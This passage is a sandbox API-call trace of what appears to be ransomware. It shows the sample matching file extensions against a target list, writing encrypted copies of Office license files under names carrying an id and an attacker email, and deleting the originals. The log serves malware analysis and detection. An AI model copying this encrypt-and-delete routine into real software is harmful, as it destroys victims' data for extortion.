Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0214.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0214.441] lstrlenW (lpString=".doc") returned 4 [0214.441] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0214.441] lstrlenW (lpString=".docx") returned 5 [0214.441] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0214.441] lstrlenW (lpString=".pdf") returned 4 [0214.441] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0214.441] lstrlenW (lpString=".xls") returned 4 [0214.441] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0214.441] lstrlenW (lpString=".xlsx") returned 5 [0214.441] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0214.441] lstrlenW (lpString=".ppt") returned 4 [0214.441] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0214.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0214.441] lstrlenW (lpString=".zip") returned 4 [0214.441] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0214.441] lstrlenW (lpString=".rar") returned 4 [0214.441] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0214.441] lstrlenW (lpString=".bz2") returned 4 [0214.441] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0214.442] lstrlenW (lpString=".7z") returned 3 [0214.442] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0214.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0214.442] lstrlenW (lpString=".dbf") returned 4 [0214.442] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0214.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0214.442] lstrlenW (lpString=".1cd") returned 4 [0214.442] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0214.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0214.442] lstrlenW (lpString=".jpg") returned 4 [0214.442] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0214.442] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0214.442] lstrlenW (lpString="ProfessionalPipcR_OEM_Perp-ul-phn.xrm-ms") returned 40 [0214.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0214.443] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=19982) returned 1 [0214.443] CloseHandle (hObject=0x568) returned 1 [0214.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0214.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_oem_perp-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0214.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0214.443] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0214.444] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0214.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_oem_perp-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0214.707] GetLastError () returned 0x0 [0214.707] ReadFile (in: hFile=0x568, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x4e0e, lpOverlapped=0x0) returned 1 [0214.710] WriteFile (in: hFile=0x564, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x4e10, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x4e10, lpOverlapped=0x0) returned 1 [0214.711] ReadFile (in: hFile=0x568, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0214.711] WriteFile (in: hFile=0x564, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x124, lpOverlapped=0x0) returned 1 [0214.711] SetEndOfFile (hFile=0x564) returned 1 [0214.711] CloseHandle (hObject=0x564) returned 1 [0214.711] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0214.711] SetEndOfFile (hFile=0x568) returned 1 [0214.714] CloseHandle (hObject=0x568) returned 1 [0214.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0214.716] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_oem_perp-ul-phn.xrm-ms")) returned 1 [0214.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0214.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0214.717] lstrlenW (lpString=".doc") returned 4 [0214.717] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0214.717] lstrlenW (lpString=".docx") returned 5 [0214.717] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0214.717] lstrlenW (lpString=".pdf") returned 4 [0214.717] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0214.717] lstrlenW (lpString=".xls") returned 4 [0214.717] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0214.717] lstrlenW (lpString=".xlsx") returned 5 [0214.717] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0214.717] lstrlenW (lpString=".ppt") returned 4 [0214.717] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0214.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0214.717] lstrlenW (lpString=".zip") returned 4 [0214.717] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0214.717] lstrlenW (lpString=".rar") returned 4 [0214.717] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0214.717] lstrlenW (lpString=".bz2") returned 4 [0214.717] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0214.717] lstrlenW (lpString=".7z") returned 3 [0214.717] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0214.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0214.718] lstrlenW (lpString=".dbf") returned 4 [0214.718] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0214.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0214.718] lstrlenW (lpString=".1cd") returned 4 [0214.718] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0214.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0214.718] lstrlenW (lpString=".jpg") returned 4 [0214.718] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0214.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0214.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0214.718] lstrlenW (lpString=".doc") returned 4 [0214.718] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0214.718] lstrlenW (lpString=".docx") returned 5 [0214.718] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0214.718] lstrlenW (lpString=".pdf") returned 4 [0214.718] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0214.718] lstrlenW (lpString=".xls") returned 4 [0214.718] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0214.718] lstrlenW (lpString=".xlsx") returned 5 [0214.718] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0214.718] lstrlenW (lpString=".ppt") returned 4 [0214.718] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0214.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0214.718] lstrlenW (lpString=".zip") returned 4 [0214.718] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0214.718] lstrlenW (lpString=".rar") returned 4 [0214.718] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0214.718] lstrlenW (lpString=".bz2") returned 4 [0214.718] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0214.718] lstrlenW (lpString=".7z") returned 3 [0214.718] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0214.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0214.719] lstrlenW (lpString=".dbf") returned 4 [0214.719] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0214.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0214.719] lstrlenW (lpString=".1cd") returned 4 [0214.719] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0214.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0214.719] lstrlenW (lpString=".jpg") returned 4 [0214.719] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0214.719] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0214.719] lstrlenW (lpString="ProfessionalR_Retail-pl.xrm-ms") returned 30 [0214.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0214.720] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=10655) returned 1 [0214.720] CloseHandle (hObject=0x568) returned 1 [0214.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_retail-pl.xrm-ms")) returned 0x220 [0214.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_retail-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0214.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0214.720] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0214.720] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0214.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_retail-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0214.721] GetLastError () returned 0x0 [0214.721] ReadFile (in: hFile=0x568, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x299f, lpOverlapped=0x0) returned 1 [0214.723] WriteFile (in: hFile=0x564, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x29a0, lpOverlapped=0x0) returned 1 [0214.724] ReadFile (in: hFile=0x568, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0214.724] WriteFile (in: hFile=0x564, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x110, lpOverlapped=0x0) returned 1 [0214.724] SetEndOfFile (hFile=0x564) returned 1 [0214.725] CloseHandle (hObject=0x564) returned 1 [0214.725] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0214.725] SetEndOfFile (hFile=0x568) returned 1 [0214.728] CloseHandle (hObject=0x568) returned 1 [0214.728] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0214.728] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_retail-pl.xrm-ms")) returned 1 [0214.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-pl.xrm-ms") returned 80 [0214.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-pl.xrm-ms") returned 80 [0214.729] lstrlenW (lpString=".doc") returned 4 [0214.729] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0214.729] lstrlenW (lpString=".docx") returned 5 [0214.729] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0214.729] lstrlenW (lpString=".pdf") returned 4 [0214.729] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0214.729] lstrlenW (lpString=".xls") returned 4 [0214.729] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0214.729] lstrlenW (lpString=".xlsx") returned 5 [0214.729] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0214.729] lstrlenW (lpString=".ppt") returned 4 [0214.729] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0214.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-pl.xrm-ms") returned 80 [0214.729] lstrlenW (lpString=".zip") returned 4 [0214.729] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0214.729] lstrlenW (lpString=".rar") returned 4 [0214.729] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0214.729] lstrlenW (lpString=".bz2") returned 4 [0214.729] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0214.729] lstrlenW (lpString=".7z") returned 3 [0214.729] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0214.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-pl.xrm-ms") returned 80 [0214.729] lstrlenW (lpString=".dbf") returned 4 [0214.729] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0214.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-pl.xrm-ms") returned 80 [0214.730] lstrlenW (lpString=".1cd") returned 4 [0214.730] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0214.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-pl.xrm-ms") returned 80 [0214.730] lstrlenW (lpString=".jpg") returned 4 [0214.730] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0214.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-pl.xrm-ms") returned 80 [0214.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-pl.xrm-ms") returned 80 [0214.730] lstrlenW (lpString=".doc") returned 4 [0214.730] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0214.730] lstrlenW (lpString=".docx") returned 5 [0214.730] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0214.730] lstrlenW (lpString=".pdf") returned 4 [0214.730] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0214.730] lstrlenW (lpString=".xls") returned 4 [0214.730] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0214.730] lstrlenW (lpString=".xlsx") returned 5 [0214.730] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0214.730] lstrlenW (lpString=".ppt") returned 4 [0214.730] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0214.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-pl.xrm-ms") returned 80 [0214.730] lstrlenW (lpString=".zip") returned 4 [0214.730] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0214.730] lstrlenW (lpString=".rar") returned 4 [0214.730] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0214.730] lstrlenW (lpString=".bz2") returned 4 [0214.730] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0214.730] lstrlenW (lpString=".7z") returned 3 [0214.730] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0214.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-pl.xrm-ms") returned 80 [0214.730] lstrlenW (lpString=".dbf") returned 4 [0214.730] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0214.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-pl.xrm-ms") returned 80 [0214.731] lstrlenW (lpString=".1cd") returned 4 [0214.731] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0214.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-pl.xrm-ms") returned 80 [0214.731] lstrlenW (lpString=".jpg") returned 4 [0214.731] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0214.731] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0214.731] lstrlenW (lpString="ProfessionalR_Retail-ppd.xrm-ms") returned 31 [0214.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0214.731] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=23075) returned 1 [0214.731] CloseHandle (hObject=0x568) returned 1 [0214.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_retail-ppd.xrm-ms")) returned 0x220 [0214.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_retail-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0214.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0214.732] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0214.732] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0214.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_retail-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0214.733] GetLastError () returned 0x0 [0214.733] ReadFile (in: hFile=0x568, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x5a23, lpOverlapped=0x0) returned 1 [0214.735] WriteFile (in: hFile=0x564, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x5a30, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x5a30, lpOverlapped=0x0) returned 1 [0214.736] ReadFile (in: hFile=0x568, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0214.736] WriteFile (in: hFile=0x564, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x112, lpOverlapped=0x0) returned 1 [0214.737] SetEndOfFile (hFile=0x564) returned 1 [0214.737] CloseHandle (hObject=0x564) returned 1 [0214.737] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0214.737] SetEndOfFile (hFile=0x568) returned 1 [0214.740] CloseHandle (hObject=0x568) returned 1 [0214.740] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0214.741] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_retail-ppd.xrm-ms")) returned 1 [0214.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ppd.xrm-ms") returned 81 [0214.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ppd.xrm-ms") returned 81 [0214.742] lstrlenW (lpString=".doc") returned 4 [0214.742] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0214.742] lstrlenW (lpString=".docx") returned 5 [0214.742] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0214.742] lstrlenW (lpString=".pdf") returned 4 [0214.742] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0214.742] lstrlenW (lpString=".xls") returned 4 [0214.742] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0214.742] lstrlenW (lpString=".xlsx") returned 5 [0214.742] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0214.742] lstrlenW (lpString=".ppt") returned 4 [0214.742] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0214.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ppd.xrm-ms") returned 81 [0214.742] lstrlenW (lpString=".zip") returned 4 [0214.742] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0214.742] lstrlenW (lpString=".rar") returned 4 [0214.742] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0214.742] lstrlenW (lpString=".bz2") returned 4 [0214.742] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0214.742] lstrlenW (lpString=".7z") returned 3 [0214.742] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0214.742] lstrlenW (lpString="C:\\Program Files\\Microsoft 